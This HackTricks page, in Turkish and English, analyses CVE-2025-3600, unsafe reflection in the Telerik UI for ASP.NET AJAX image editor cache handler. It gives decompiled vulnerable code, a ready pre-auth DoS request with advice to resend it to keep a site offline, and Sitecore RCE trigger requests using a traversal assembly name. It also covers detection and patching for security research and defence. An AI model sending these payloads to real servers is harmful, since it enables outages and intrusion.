Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).
TL;DR
- Etkilenen bileşen/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Birçok üründe pre‑auth olarak açığa çıkıyor.
- Primitive: Saldırgan bir type adı (prtype) kontrolü sağlar. Handler bunu Type.GetType() ile çözümler ve Activator.CreateInstance() çağırarak interface tip‑güvenliğini doğrulamadan constructor’ı çalıştırır. Herhangi bir public parametresiz .NET type constructor’ı çalıştırılacaktır.
- Etki:
- Evrensel pre‑auth DoS, bir .NET framework gadget’ı ile (PowerShell WSMan finalizer) mümkün.
- Gerçek dağıtımlarda, özellikle güvensiz AppDomain.AssemblyResolve handler’larını kötüye kullanarak, çoğu zaman hedefe özel gadget’larla pre‑auth RCE’ye yükselir.
- Düzeltme: Telerik UI for ASP.NET AJAX 2025.1.416+ sürümüne güncelleyin veya handler’ı kaldırın/kilitleyin.
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
- Fixed in 2025.1.416 (released 2025-04-30). Patch immediately or remove/lock down the handler.
Affected surface and quick discovery
- Maruziyeti kontrol et:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
- web.config içinde Telerik.Web.UI.WebResource.axd’ye eşlenen handler’ları inceleyin.
- Kırılgan kod yolunu tetiklemek için gerekenler: type=iec, dkey=1 ve prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Notlar
- Some PoCs use dtype; the implementation checks dkey==“1” for the download flow.
- prtype must be assembly-qualified or resolvable in the current AppDomain.
Kök neden – unsafe reflection in ImageEditorCacheHandler
Image Editor önbellek indirme akışı, prtype ile sağlanan bir türün örneğini oluşturur ve yalnızca daha sonra bunu ICacheImageProvider’a cast edip indirme anahtarını doğrular. Doğrulama başarısız olduğunda constructor zaten çalışmış olur.
İlgili dekompile edilmiş akış
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
Exploit primitive: Kontrol edilen type string → Type.GetType bunu çözer → Activator.CreateInstance public parametresiz constructor'ını çalıştırır. İstek sonradan reddedilse bile, gadget yan etkileri zaten gerçekleşmiş olur.
## Evrensel DoS gadget (uygulamaya özel gadget gerekmez)
Sınıf: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper, System.Management.Automation (PowerShell) içinde bir finalizer'a sahiptir; bu finalizer başlatılmamış bir handle'ı dispose eder ve GC onu finalize ettiğinde unhandled exception oluşmasına neden olur. Bu, örneğin oluşturulmasından kısa süre sonra IIS worker process'in güvenilir şekilde çökmesine yol açar.
Tek seferlik DoS isteği:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes
- Sitenin çevrimdışında kalmasını sağlamak için periyodik olarak göndermeye devam edin. Bir debugger’da constructor’ın tetiklendiğini gözlemleyebilirsiniz; çökme finalization sırasında gerçekleşir.
DoS’dan RCE’ye – yükseltme desenleri
Güvensiz constructor yürütülmesi birçok hedefe özgü gadget’lar ve zincirlerin kilidini açar. Şunları ara:
- Parametresiz constructor’lar that process attacker input
- Bazı ctors (veya static initializers) hemen Request query/body/cookies/headers’ı okur ve bunları (de)serialize eder.
- Örnek (Sitecore): bir ctor zinciri GetLayoutDefinition()’a ulaşır; bu HTTP gövdesindeki “layout“u okur ve JSON.NET ile JSON’u deserialize eder.
- Constructors that touch files
- Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
- Constructors performing app-specific ops
- Durumu sıfırlama, modülleri açıp kapama veya süreçleri sonlandırma.
- Constructors/static ctors that register AppDomain event handlers
- Birçok uygulama, args.Name’den DLL yolları oluşturan ve sanitize etmeden AppDomain.CurrentDomain.AssemblyResolve handler’ları ekler. Eğer type çözümlemesini etkileyebiliyorsanız, saldırgan kontrollü yollar üzerinden rastgele DLL yüklemelerini zorlayabilirsiniz.
- Type.GetType aracılığıyla AssemblyResolve’u zorlamak
- Var olmayan bir type’ı isteyerek CLR çözümlemesini zorlayın ve kayıtlı (muhtemelen güvensiz) resolver’ları çağırın. Örnek assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Yıkıcı yan etkilere sahip finalizer’lar
- Bazı tipler finalizer’larda sabit-yollu dosyaları siler. Link-following veya öngörülebilir yollarla birleştiğinde bu, belirli ortamlarda local privilege escalation’a izin verebilir.
Örnek pre‑auth RCE zinciri (Sitecore XP)
- Step 1 – Pre‑auth: Statik/instance ctor’ı güvensiz bir AssemblyResolve handler kaydeden bir tipi tetikleyin (ör. Sitecore’ın FolderControlSource’u ControlFactory’de).
- Step 2 – Post‑auth: Bir resolver-probed dizine yazma izni elde edin (ör. auth bypass veya weak upload yoluyla) ve kötü amaçlı bir DLL yerleştirin.
- Step 3 – Pre‑auth: Var olmayan bir tip ve traversal-laden assembly adı ile CVE‑2025‑3600’ı kullanarak resolver’ın yerleştirdiğiniz DLL’i yüklemesini zorlayın → kod çalıştırma olarak IIS worker.
Tetikleme örnekleri
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Doğrulama, tehdit avcılığı ve DFIR notları
- Güvenli laboratuvar doğrulaması: DoS payload’ını çalıştırın ve WSMan finalizer ile ilişkili app pool yeniden başlatması/ele alınmamış exception olup olmadığını gözleyin.
- Telemetride arama:
- type=iec ve garip prtype değerleri ile /Telerik.Web.UI.WebResource.axd istekleri.
- Başarısız type yüklemeleri ve AppDomain.AssemblyResolve olayları.
- Böyle istekleri takiben ani w3wp.exe çökme/yeniden başlatmaları.
Önlemler
- Telerik UI for ASP.NET AJAX 2025.1.416 veya daha yeni bir sürüme güncelleyin.
- Mümkünse Telerik.Web.UI.WebResource.axd’nin dışa açık erişimini kaldırın veya kısıtlayın (WAF/rewrites).
- prtype işleme mantığını sunucu tarafında yok sayın veya sertleştirin (güncelleme, örnekleme/instantiation öncesinde uygun kontrolleri uygular).
- Özel AppDomain.AssemblyResolve handler’larını denetleyin ve sertleştirin. args.Name’den path oluştururken sanitizasyon olmadan kaçının; güçlü isimli (strong-named) yüklemeleri veya beyaz listeyi tercih edin.
- Yükleme/yazma konumlarını kısıtlayın ve DLL’lerin taranan dizinlere bırakılmasını engelleyin.
- Çözücü kötüye kullanımını yakalamak için var olmayan type yükleme girişimlerini izleyin.
Hızlı Başvuru
- Varlık kontrolü:
- GET /Telerik.Web.UI.WebResource.axd
- web.config içinde handler eşlemesine bakın
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Tetikleyici çözücü:
This.Class.Does.Not.Exist, watchTowr
İlgili teknikler
- IIS post-exploitation, .NET key extraction ve in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization ve machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Kaynaklar
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

